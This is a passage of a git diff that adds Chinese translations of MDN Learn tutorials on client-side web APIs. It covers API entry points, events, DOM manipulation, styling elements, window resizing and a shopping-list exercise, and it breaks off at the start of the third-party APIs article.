其次,API对象通常有几个可用的options(如上面的<code>myOptions</code>对象),可以调整以获得您的程序所需的确切环境(根据不同的环境,编写不同的<code>Options</code>对象)。 API构造函数通常接受options对象作为参数,这是您设置这些options的地方。</p> + +<div class="note"> +<p><strong>注意:如果您不能立即理解这个例子的细节,请不要担心。 我们将在未来的文章中详细介绍第三方API。</strong></p> +</div> + +<h3 id="它们有可识别的入口点">它们有可识别的入口点</h3> + +<p>使用API时,应确保知道API入口点的位置。 在Geolocation API中,这非常简单 - 它是 {{domxref("Navigator.geolocation")}} 属性, 它返回浏览器的 {{domxref("Geolocation")}} 对象,所有有用的地理定位方法都可用。</p> + +<p>文档对象模型 (DOM) API有一个更简单的入口点 —它的功能往往被发现挂在 {{domxref("Document")}} 对象, 或任何你想影响的HTML元素的实例,例如:</p> + +<pre class="brush: js notranslate">var em = document.createElement('em'); // create a new em element +var para = document.querySelector('p'); // reference an existing p element +em.textContent = 'Hello there!'; // give em some text content +para.appendChild(em); // embed em inside para</pre> + +<p>其他API具有稍微复杂的入口点,通常涉及为要编写的API代码创建特定的上下文。例如,Canvas API的上下文对象是通过获取要绘制的 {{htmlelement("canvas")}} 元素的引用来创建的,然后调用它的{{domxref("HTMLCanvasElement.getContext()")}}方法:</p> + +<pre class="brush: js notranslate">var canvas = document.querySelector('canvas'); +var ctx = canvas.getContext('2d');</pre> + +<p>然后,我们想通过调用内容对象 (它是{{domxref("CanvasRenderingContext2D")}}的一个实例)的属性和方法来实现我们想要对画布进行的任何操作, 例如:</p> + +<pre class="brush: js notranslate">Ball.prototype.draw = function() { + ctx.beginPath(); + ctx.fillStyle = this.color; + ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); + ctx.fill(); +};</pre> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:您可以在我们的</font></font><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/bouncing-balls.html" rel="noopener"><font><font>弹跳球演示中</font></font></a><font><font>看到此代码的实际 </font></font><a href="http://mdn.github.io/learning-area/javascript/apis/introduction/bouncing-balls.html" rel="noopener"><font><font>运行情况</font></font></a><font><font> (</font><font> 也可以</font><font>参阅它 </font><a href="http://mdn.github.io/learning-area/javascript/apis/introduction/bouncing-balls.html" rel="noopener"><font>现场运行</font></a><font>)。</font></font></p> +</div> + +<h3 id="它们使用事件来处理状态的变化">它们使用事件来处理状态的变化</h3> + +<p><font><font>我们之前已经在课程中讨论了事件,在我们的 </font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events"><font><font>事件介绍</font></font></a><font><font>文章中 - 详细介绍了客户端Web事件是什么以及它们在代码中的用法。</font><font>如果您还不熟悉客户端Web API事件的工作方式,则应继续阅读。</font></font></p> + +<p><font><font>一些Web API不包含事件,但有些包含一些事件。</font><font>当事件触发时,允许我们运行函数的处理程序属性通常在单独的 “</font></font>Event handlers<font><font>”(事件处理程序) 部分的参考资料中列出。作为一个简单的例子,</font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code><font><font> 对象的</font><font>实例 </font><font>(每一个实例都代表一个到服务器的HTTP请求,来取得某种新的资源)都有很多事件可用,例如 </font></font><code>onload</code><font><font> 事件在成功返回时就触发包含请求的资源,并且现在就可用。</font></font></p> + +<p>下面的代码提供了一个简单的例子来说明如何使用它:</p> + +<pre class="brush: js notranslate">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; +var request = new XMLHttpRequest(); +request.open('GET', requestURL); +request.responseType = 'json'; +request.send(); + +request.onload = function() { + var superHeroes = request.response; + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> + +<div class="note"> +<p><strong>注意:您可以在我们的</strong><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/ajax.html">ajax.html</a><strong>示例中看到此代码</strong> (或者 在线运行版本 <a href="http://mdn.github.io/learning-area/javascript/apis/introduction/ajax.html">see it live</a> also).</p> +</div> + +<p><font><font>前五行指定了我们要获取的资源的位置,使用</font></font><code>XMLHttpRequest()</code><font><font> 构造函数</font><font>创建请求对象的新实例 </font><font>,打开HTTP 的 </font></font><code>GET</code><font><font> 请求以取得指定资源,指定响应以JSON格式发送,然后发送请求。</font></font></p> + +<p><font><font>然后 </font></font><code>onload</code> 处理函数指定我们如何处理响应。 我们知道请求会成功返回,并在需要加载事件(如<code>onload</code><font><font> 事件</font></font>)之后可用(除非发生错误),所以我们将包含返回的JSON的响应保存在<code>superHeroes</code>变量中,然后将其传递给两个不同的函数以供进一步处理。</p> + +<h3 id="它们在适当的地方有额外的安全机制">它们在适当的地方有额外的安全机制</h3> + +<p><font><font>WebAPI功能受到与JavaScript和其他Web技术(例如</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy"><font><font>同源政策</font></font></a><font><font>)</font><font>相同的安全考虑</font></font> 但是他们有时会有额外的安全机制。<font><font>例如,一些更现代的WebAPI将只能在通过HTTPS提供的页面上工作,因为它们正在传输潜在的敏感数据(例如 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API"><font><font>服务工作者</font></font></a><font><font> 和 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Push_API"><font><font>推送</font></font></a><font><font>)。</font></font></p> + +<p><font><font>另外,一旦调用WebAPI请求,用户就可以在您的代码中启用一些WebAPI请求权限。</font><font>作为一个例子,在加载我们之前的</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Geolocation"><font><font>Geolocation</font></font></a><font><font> 示例</font><font>时,您可能注意到了类似下面的对话框 </font><font>:</font></font></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14313/location-permission.png"></p> + +<p><font><font>该 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API"><font><font>通知API</font></font></a><font><font> 请求以类似的方式许可:</font></font></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14315/notification-permission.png"></p> + +<p>这些许可提示会被提供给用户以确保安全 - 如果这些提示不在适当位置,那么网站可能会在您不知情的情况下开始秘密跟踪您的位置,或者通过大量恼人的通知向您发送垃圾邮件。</p> + +<h2 id="概要">概要</h2> + +<p>在这一点上,您应该对API是什么,它们是如何工作的以及在JavaScript代码中可以对它们做什么有一个很好的了解。你可能很兴奋开始用特定的API来做一些有趣的事情,so let's go! 接下来,我们将看到使用文档对象模型(DOM)处理文档。</p> + +<p>{{NextMenu("Learn/JavaScript/Client-side_Web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_Web_API")}}</p> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/manipulating_documents/index.html new file mode 100644 index 0000000000..ceca6b3b57 --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -0,0 +1,300 @@ +--- +title: 操作文档 +slug: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">在编写web页面或应用时,你最想做的事情之一就是以某种方式操作文档结构。这通常使用一套大量使用{{domxref("Document")}}对象来控制HTML和样式信息的文档对象模型(DOM)来实现,在本文中,我们可以更详细的看到怎样使用DOM,连同一些其他有趣的API以有趣的方式改变你的环境</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基础的计算机常识,基本了解HTML、CSS和JavaScript - 包括JavaScript对象。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉核心DOM API, 以及其他和DOM与文档操作相关的常见API。</td> + </tr> + </tbody> +</table> + +<h2 id="web浏览器的重要部分">web浏览器的重要部分</h2> + +<p>web浏览器的软件中有很多活动的程序片段,而许多片段web开发人员无法使用JavaScript来控制或操作,因此Web浏览器是一个很复杂的软件组合。你可能认为这样的限制是不是好事,但是浏览器被锁定是有充分理由的,主要集中在安全方面。如果一个网站可以访问您存储的密码或其他敏感信息,犹如你一样登录到网站,试想会发生什么?</p> + +<p>尽管有局限性,Web API仍然允许我们访问许多的功能,使我们用web页做很多事情。有几个在代码中经常引用的非常明显的部位 - 下面的图表表示了直接出现在web页面视图中的浏览器的主要部分:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14557/document-window-navigator.png" style="display: block; margin: 0 auto;"></p> + +<ul> + <li>window是载入浏览器的标签,在JavaScript中用{{domxref("Window")}}对象来表示,使用这个对象的可用方法,你可以返回窗口的大小(参见{{domxref("Window.innerWidth")}}和{{domxref("Window.innerHeight")}}),操作载入窗口的文档,存储客户端上文档的特殊数据(例如使用本地数据库或其他存储设备),为当前窗口绑定<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#A_series_of_fortunate_events">event handler</a>,等等。</li> + <li>navigator表示浏览器存在于web上的状态和标识(即用户代理)。在JavaScript中,用{{domxref("Navigator")}}来表示。你可以用这个对象获取一些信息,比如来自用户摄像头的地理信息、用户偏爱的语言、多媒体流等等。</li> + <li>document(在浏览器中用DOM表示)是载入窗口的实际页面,在JavaScript中用{{domxref("Document")}} 对象表示,你可以用这个对象来返回和操作文档中HTML和CSS上的信息。例如获取DOM中一个元素的引用,修改其文本内容,并应用新的样式,创建新的元素并添加为当前元素的子元素,甚至把他们一起删除。</li> +</ul> + +<p>在本文中,我们主要关注操作文档,但是也会稍微关注一下其他有用的部位。</p> + +<h2 id="文档对象模型">文档对象模型</h2> + +<p>在浏览器标签中当前载入的文档用文档对象模型来表示。这是一个由浏览器生成的“树结构”,使编程语言可以很容易的访问HTML结构 — 例如浏览器自己在呈现页面时,使用它将样式和其他信息应用于正确的元素,而页面呈现完成以后,开发人员可以用JavaScript操作DOM。</p> + +<p>我们已经创建一个简单的例子<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">see it live also</a>). 在你的浏览器中打开它 — 这是一个很简单的页面,包含了一个{{htmlelement("section")}} 元素,里面有一个图像和有链接的段落。HTML源码如下:</p> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Simple DOM example</title> + </head> + <body> + <section> + <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> + <p>Here we will add a link to the <a href="https://www.mozilla.org/">Mozilla homepage</a></p> + </section> + </body> +</html></pre> + +<p>另一方面,DOM树如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14559/dom-screenshot.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<div class="note"> +<p><strong>注意</strong>: 这个DOM树状图是用Ian Hickson的<a href="https://software.hixie.ch/utilities/js/live-dom-viewer/">Live DOM viewer</a>生成的</p> +</div> + +<p>这里你可以看到,文档中每个元素和文本在树中都有它们自己的入口 — 称之为<strong>节点</strong>。你将用不同的术语来描述节点的类型和它们相对于其他节点的位置:</p> + +<ul> + <li><strong>元素节点</strong>: 一个元素,存在于DOM中。</li> + <li><strong>根节点</strong>: 树中顶层节点,在HTML的情况下,总是一个<code>HTML</code>节点(其他标记词汇,如SVG和定制XML将有不同的根元素)。</li> + <li><strong>子节点</strong>: <em>直接</em>位于另一个节点内的节点。例如上面例子中,<code>IMG</code>是<code>SECTION</code>的子节点。</li> + <li><strong>后代节点</strong>: 位于另一个节点内<em>任意位置</em>的节点。例如 上面例子中,<code>IMG</code>是<code>SECTION</code>的子节点,也是一个后代节点。<code>IMG</code>不是<code>BODY</code>的子节点,因为它在树中低了<code>BODY</code>两级,但它是<code>BODY</code>的后代之一。</li> + <li><strong>父节点</strong>: 里面有另一个节点的节点。例如上面的例子中<code>BODY</code>是<code>SECTION</code>的父节点。</li> + <li><strong>兄弟节点</strong>: DOM树中位于同一等级的节点。例如上面例子中,<code>IMG</code>和<code>P</code>是兄弟。</li> + <li><strong>文本节点</strong>: 包含文字串的节点</li> +</ul> + +<p>在用DOM工作之前,熟悉这些术语是很有用的,因为你将会遇到大量代码术语的使用。你在研究CSS时也会遇到这些术语(例如后代选择器、子选择器)</p> + +<h2 id="主动学习_基本的DOM_操作">主动学习: 基本的DOM 操作</h2> + +<p>要开始学习DOM操作,我们先做一个实际的例子。</p> + +<ol> + <li>本地备份<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html page</a>和与之相关的<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dinosaur.png">image</a>。</li> + <li>在闭合的<code></body></code>标签上面加入<code><script></script></code>元素。</li> + <li>要操作DOM内的元素,首先需要选择它,并将它的引用存储在一个变量中。在script元素中,添加下列代码行: + <pre class="brush: js">var link = document.querySelector('a');</pre> + </li> + <li>现在你有了一个存储在变量中的元素引用,你可以使用它的可用属性和方法来操作它(在{{htmlelement("a")}}元素的情况下定义为接口{{domxref("HTMLAnchorElement")}},它更常常用的父接口是{{domxref("HTMLElement")}}和表示DOM中所有节点的{{domxref("Node")}})。首先,更新 {{domxref("Node.textContent")}}属性的值来修改链接中的文字。在上面的代码后面加入一行代码: + <pre class="brush: js">link.textContent = 'Mozilla Developer Network';</pre> + </li> + <li>我们也能修改链接指向的URL,使得它被点击时不会走向错误的位置。在底部再加入下列代码: + <pre class="brush: js">link.href = 'https://developer.mozilla.org';</pre> + </li> +</ol> + +<div> +<p>注意,和JavaScript中的许多事情一样,有很多方法可以选择一个元素,并在一个变量中存储一个引用。{{domxref("Document.querySelector()")}}是推荐的主流方法,它允许你使用CSS选择器选择元素,使用很方便。上面的<code>querySelector()</code>调用会匹配它在文档中遇到的第一个{{htmlelement("a")}}元素。如果想对多个元素进行匹配和操作,你可以使用{{domxref("Document.querySelectorAll()")}},这个方法匹配文档中每个匹配选择器的元素,并把它们的引用存储在一个<a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">array</a>中。</p> + +<p>对于获取元素引用,还有一些更旧的方法,如:</p> + +<ul> + <li>{{domxref("Document.getElementById()")}},选择一个<code>id</code>属性值已知的元素,例如<code><p id="myId">My paragraph</p></code>。ID作为参数传递给函数,即 <code>var elementRef = document.getElementById('myId')</code>。</li> + <li>{{domxref("Document.getElementsByTagName()")}},返回页面中包含的所有已知类型元素的数组。如<code><p></code>s, <code><a></code>。元素类型作为参数传递给函数,即<code>var elementRefArray = document.getElementsByTagName('p')</code>.</li> +</ul> + +<p>在较老的浏览器中使用这两种方法而不是流行的<code>querySelector()</code>方法,但这样并不方便。看一看你还可以发现别的什么!</p> +</div> + +<h3 id="创建并放置新的节点">创建并放置新的节点</h3> + +<p>以上只是让你稍微尝试一下你可以做的事情,让我们进一步看看我们可以怎样来创建新的元素。</p> + +<ol> + <li>回到当前的例子,我们先获取到{{htmlelement("section")}}元素的引用 — 在已有script中添加下列代码(其他代码也同样处理): + <pre class="brush: js">var sect = document.querySelector('section');</pre> + </li> + <li>现在用{{domxref("Document.createElement()")}}创建一个新的段落,用与之前相同的方法赋予相同的文本: + <pre class="brush: js">var para = document.createElement('p'); +para.textContent = 'We hope you enjoyed the ride.';</pre> + </li> + <li>现在可以用{{domxref("Node.appendChild()")}}方法在后面追加新的段落: + <pre class="brush: js">sect.appendChild(para);</pre> + </li> + <li>最后,在内部链接的段落中添加文本节点,完美的结束句子。首先我们要使用{{domxref("Document.createTextNode()")}}创建一个文本节点: + <pre class="brush: js">var text = document.createTextNode(' — the premier source for web development knowledge.');</pre> + </li> + <li>现在获取内部连接的段落的引用,并把文本节点绑定到这个节点上: + <pre class="brush: js">var linkPara = document.querySelector('p'); +linkPara.appendChild(text);</pre> + </li> +</ol> + +<p>这是给DOM添加节点要做的大部分工作 — 在构建动态接口时,你将做大量使用这些方法(我们在后面可以看到一些例子)。</p> + +<h3 id="移动和删除元素">移动和删除元素</h3> + +<p>也许有时候你想移动或从DOM中删除节点,这是完全可能的。</p> + +<p>如果你想把具有内部链接的段落移到sectioin的底部,简单的做法是:</p> + +<pre class="brush: js">sect.appendChild(linkPara);</pre> + +<p>这样可以把段落下移到section的底部。你可能想过要做第二个副本,但是情况并非如此 — <code>linkPara</code>是指向该段落唯一副本的引用。如果你想做一个副本并也把它添加进去,只能用{{domxref("Node.cloneNode()")}} 方法来替代。</p> + +<p>删除节点也非常的简单,至少,你拥有要删除的节点和其父节点的引用。在当前情况下,我们只要使用{{domxref("Node.removeChild()")}}即可,如下:</p> + +<pre>sect.removeChild(linkPara);</pre> + +<p>要删除一个仅基于自身引用的节点可能稍微有点复杂,这也是很常见的。没有方法会告诉节点删除自己,所以你必须像下面这样操作。</p> + +<pre class="brush: js">linkPara.parentNode.removeChild(linkPara);</pre> + +<p>把上述代码行加到你的代码中去</p> + +<h3 id="操作样式">操作样式</h3> + +<p>通过JavaScript以不同的方式来操作CSS样式是可能的。</p> + +<p>首先,使用 {{domxref("Document.stylesheets")}}返回{{domxref("CSSStyleSheet")}}数组,获取绑定到文档的所有样式表的序列。然后添加/删除想要的样式。然而,我们并不想扩展这些特性,因此它们在操作样式方面有点陈旧和困难,而现在有了更容易的方法。</p> + +<p>第一种方法是直接在想要动态设置样式的元素内部添加内联样式。这是用{{domxref("HTMLElement.style")}}属性来实现。这个属性包含了文档中每个元素的内联样式信息。你可以设置这个对象的属性直接修改元素样式。</p> + +<ol> + <li>要做个例子,把下面的代码行加到我们的例子中: + <pre class="brush: js">para.style.color = 'white'; +para.style.backgroundColor = 'black'; +para.style.padding = '10px'; +para.style.width = '250px'; +para.style.textAlign = 'center';</pre> + </li> + <li>重新载入页面,你将看到样式已经应用到段落中。如果在浏览器的<a href="/en-US/docs/Tools/Page_Inspector">Page Inspector/DOM inspector</a>中查看段落,你会看到这些代码的确为文档添加了内联样式: + <pre class="brush: html"><p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p></pre> + </li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: CSS样式的JavaSript属性版本以小驼峰式命名法书写,而CSS版本带连接符号(<code>backgroundColor</code> 对 <code>background-color</code>)。确保你不会混淆,否则就不能工作。</p> +</div> + +<p>现在我们来看看另一个操作文档样式的常用方法。</p> + +<ol> + <li>删除之前添加到JavaScript中的五行代码。</li> + <li>在HTML的{{htmlelement("head")}}中添加下列代码 : + <pre><style> +.highlight { + color: white; + background-color: black; + padding: 10px; + width: 250px; + text-align: center; +} +</style></pre> + </li> + <li>现在我们改为使用HTML操作的常用方法 — {{domxref("Element.setAttribute()")}} — 这里有两个参数,你想在元素上设置的属性,你要为它设置的值。在这种情况下,我们在段落中设置类名为highlight: + <pre class="brush: js">para.setAttribute('class', 'highlight');</pre> + </li> + <li>刷新页面,看不到改变 — CSS仍然应用到段落,但是这次给出CSS规则选择的类不是内联CSS样式。</li> +</ol> + +<p>两种方式各有优缺点,选择哪种取决于你自己。第一种方式无需安装,适合简单应用,第二种方式更加正统(没有CSS和JavaScript的混合,没有内联样式,而这些被认为是不好的体验)。当你开始构建更大更具吸引力的应用时,你可能会更多地使用第二种方法,但这完全取决于你自己。</p> + +<p>在这一点上,我们还没有做任何有用的事!使用JavaScript创建静态内容是毫无意义的 — 最好将其写入HTML,而不使用JavaScript。用JavaScript创建内容也有其他问题(如不能被搜索引擎读取),比HTML复杂得多。</p> + +<p>在接下来的几节中我们将看看DOM API一些更实际的用途。</p> + +<div class="note"> +<p><strong>注意</strong>: 你可以在GitHub上找到演示程序<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example-manipulated.html">finished version of the dom-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example-manipulated.html">see it live also</a>).</p> +</div> + +<h2 id="主动学习:从Window对象中获取有用的信息">主动学习:从Window对象中获取有用的信息</h2> + +<p>到目前为止,我们只真正看到使用{{domxref("Node")}}和{{domxref("Document")}} 特性来操纵文档,但是没有理由不能从其他来源获取数据并在UI中使用它。想想我们最新文件中的演示例子 <a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">maps-example.html</a> — 那里我们获取一些位置数据并用来显示你所在区域的地图。你只要确保你的数据格式正确;使用JavaScript比其他许多语言更容易,因为它是弱类型的——例如,当你想把它们打印到屏幕上时,数字会自动转换成字符串。</p> + +<p>在这个例子中,我们解决了一个常见的问题 — 不管窗口的大小是多少,确保应用程序和它所在的窗口视图一样大。在玩游戏的情况下,想在游戏中尽可能多地使用屏幕区域,这种方法是很有用的。</p> + +<p>一开始,要做一个<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example.html">window-resize-example.html</a>和<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/bgtile.png">bgtile.png</a>文件的本地拷贝。打开文件看一看 — 你可以看到我们用一个{{htmlelement("div")}}元素包裹屏幕的小部分,用来获得应用的background tile。我们也用它来表示应用的UI区域。</p> + +<ol> + <li>首先,获取这个div的引用,然后获取视窗(显示文档的内部窗口)的宽度和高度, 并存入变量中 — 这两个值包含在{{domxref("Window.innerWidth")}} 和 {{domxref("Window.innerHeight")}}属性中。在已存在的{{htmlelement("script")}}元素中加入下列代码: + <pre class="brush: js">var div = document.querySelector('div'); +var WIDTH = window.innerWidth; +var HEIGHT = window.innerHeight;</pre> + </li> + <li>接下来,我们将动态地改变div的宽度和高度,使其等于视窗的宽度和高度。 在您的代码下面添加以下两行: + <pre class="brush: js">div.style.width = WIDTH + 'px'; +div.style.height = HEIGHT + 'px';</pre> + </li> + <li>保存并刷新浏览器 — 现在可以看到不管你使用什么大小的屏幕,div变得和视窗一样大。如果要调整窗口大小使其更大,你可以看到div会保持相同大小 — 因为我们只能设置一次。</li> + <li>在我们调整窗口时,我们怎样用事件来调整div的大小? {{domxref("Window")}}对象有一个称为resize的可用事件。每次窗口调整大小时都会触发该事件 — 我们可以通过{{domxref("Window.onresize")}} 事件处理程序来访问它,并返回每次改变大小的代码。在代码底部添加下列程序: + <pre class="brush: js">window.onresize = function() { + WIDTH = window.innerWidth; + HEIGHT = window.innerHeight; + div.style.width = WIDTH + 'px'; + div.style.height = HEIGHT + 'px'; +}</pre> + </li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 如果你被卡住了,可查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example-finished.html">finished window resize example</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/window-resize-example-finished.html">see it live also</a>).</p> +</div> + +<h2 id="主动学习_一个动态的购物单">主动学习: 一个动态的购物单</h2> + +<p>作为文章的收尾,我们想给你一个小小的挑战 — 我们要做一个简单的购物单的例子,使用表单的输入框和按钮动态的向购物单中添加购物项。在输入中添加项,然后按下按钮:</p> + +<ul> + <li>购物项应该出现在清单中。</li> + <li>每个购物项都应该给出一个按钮,可以按下按钮从清单中删除该项。</li> + <li>输入框应该是空白的并已聚焦,为你准备好输入另一个项。</li> +</ul> + +<p>完成后的演示程序看起来有点像这样的:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14563/shopping-list.png" style="border-style: solid; border-width: 1px; display: block; height: 225px; margin: 0px auto; width: 369px;"></p> + +<p>要完成实验,要按照下面的步骤,确保购物单的行为如上所述。</p> + +<ol> + <li>首先,下载<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list.html">shopping-list.html</a>文件,并存入本地。你会看到它有一些极小的CSS,一个带有label、input和button的list和一个空的list以及{{htmlelement("script")}} 元素。要添加的所有程序都在script里面。</li> + <li>创建三个变量来保存list({{htmlelement("ul")}})、{{htmlelement("input")}}和{{htmlelement("button")}}元素的引用。</li> + <li>创建一个<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">函数</a>响应点击按钮。</li> + <li>在函数体内,开始要在一个变量中存储输入框的当前<a href="/en-US/docs/Web/API/HTMLInputElement#Properties">值</a>。</li> + <li>然后,为输入框元素设置空字符 - <code>''</code>使其为空</li> + <li>创建三个新元素 — 一个list项({{htmlelement('li')}}),{{htmlelement('span')}}和 {{htmlelement('button')}},并把它们存入变量之中。</li> + <li>把span和button作为list项的子节点。</li> + <li>把之前保存的输入框元素的值设置为span的文本内容,按钮的文本内容设置为'Delete'</li> + <li>把list项设置为list的子节点。</li> + <li>为删除按钮绑定事件处理程序。当点击按钮时,删除它所在的整个list项。</li> + <li>最后,使用<code><a href="/en-US/docs/Web/API/HTMLElement/focus">focus()</a></code>方法聚焦输入框准备输入下一个购物项。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 如果你卡住了,请查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list-finished.html">finished shopping list</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/shopping-list-finished.html">see it running live also</a>.)</p> +</div> + +<h2 id="总结">总结</h2> + +<p>我们已经结束了对文档和DOM操作的研究。在这一点上,你应该了解Web浏览器在控制文档和用户Web体验的其他方面方面的重要部分。更重要的是,你应该了解什么是文档对象模型,怎样操作它来创建有用的功能。</p> + +<h2 id="另见">另见</h2> + +<p>你还可以使用更多的特性来操作文档,检查一些参考,看看你能发现些什么?</p> + +<ul> + <li>{{domxref("Document")}}</li> + <li>{{domxref("Window")}}</li> + <li>{{domxref("Node")}}</li> + <li>{{domxref("HTMLElement")}}, {{domxref("HTMLInputElement")}}, {{domxref("HTMLImageElement")}}, etc.</li> +</ul> + +<p>(MDN上有完整的Web API 列表,参见<a href="https://developer.mozilla.org/zh-CN/docs/Web/API">Web API接口参考</a> !)</p> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}</div> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/third_party_apis/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/third_party_apis/index.html new file mode 100644 index 0000000000..edaeb3acde --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/third_party_apis/index.html @@ -0,0 +1,484 @@ +--- +title: 第三方 API +slug: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs +tags: + - API + - youtube + - 初学者 + - 第三方 + - 谷歌地图 +translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">到目前为止我们已经介绍的API是内置在浏览器中的,但并不是所有的API都是。许多大型网站和服务(例如Google地图,Twitter,Facebook,PayPal等)提供的API允许开发者使用他们的数据(例如在博客上显示您的Twitter流)或服务(例如在您的网站上显示自定义Google地图,或者使用Facebook登录来登录你的用户)。本文着眼于浏览器API和第三方API的区别,并展示了后者的一些典型用途。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>JavaScript 基础知识 (see <a href="/en-US/docs/Learn/JavaScript/First_steps">first steps</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks">building blocks</a>, <a href="/en-US/docs/Learn/JavaScript/Objects">JavaScript objects</a>), the <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">basics of Client-side APIs</a></td> + </tr> + <tr> + <th scope="row">目的:</th> + <td> 学习了解第三方API的运作方式,以及如何运用它们来提高你的网站性能</td> + </tr> + </tbody> +</table> + +<h2 id="什么是第三方API">什么是第三方API?</h2> + +<p>第三方API是由第三方(通常是Facebook,Twitter或Google等公司)提供的API,允许您通过JavaScript访问其功能,并在您自己的站点上使用它。 正如我们在 <a href="/ch-ZN/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">API介绍章节</a> 所展示的, 最显著的例子就是运用 <a href="https://developers.google.com/maps/">Google Maps APIs</a> 在你的网页上展示自定义地图。</p> + +<p>让我们再来瞧一眼这个地图的例子 (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">source code on GitHub</a>; <a href="https://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">see it live also</a>), 从这里可以知道第三方API和浏览器API的区别是怎么样的。</p> + +<div class="note"> +<p><strong>Note</strong>: 您可能想要一次获得所有的代码示例,在这种情况下,您可以搜索repo来获取每个部分中需要的示例文件。</p> +</div> + +<h3 id="它们植根于第三方服务器">它们植根于第三方服务器</h3> + +<p>浏览器API在浏览器构建之初就存在 — 用JavaScript就可以立即访问它们。例如, 例子中所使用的 <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a> 就是通过使用 <code><a href="/en-US/docs/Web/API/Navigator">Navigator</a></code> 对象的属性 geolocation 来访问的, 它返回一个名为 <code><a href="/en-US/docs/Web/API/Geolocation">Geolocation</a></code> 的对象。 这个例子使用了这个对象的方法 <code><a href="/en-US/docs/Web/API/Geolocation/getCurrentPosition">getCurrentPosition()</a></code> 来请求当前设备所处的地点:</p> + +<pre class="brush: js notranslate">navigator.geolocation.getCurrentPosition(function(position) { ... });</pre> + +<p>第三方API,从某种角度讲,植根于第三方服务器上。要通过 JavaScript获取它们,您首先需要链接到其功能接口上并使其在您的页面上生效。通常来说,这首先需要您通过一个 {{htmlelement("script")}} 元素连接到第三方服务器所开放的JavaScript库,如下所示:</p> + +<pre class="brush: js notranslate"><script 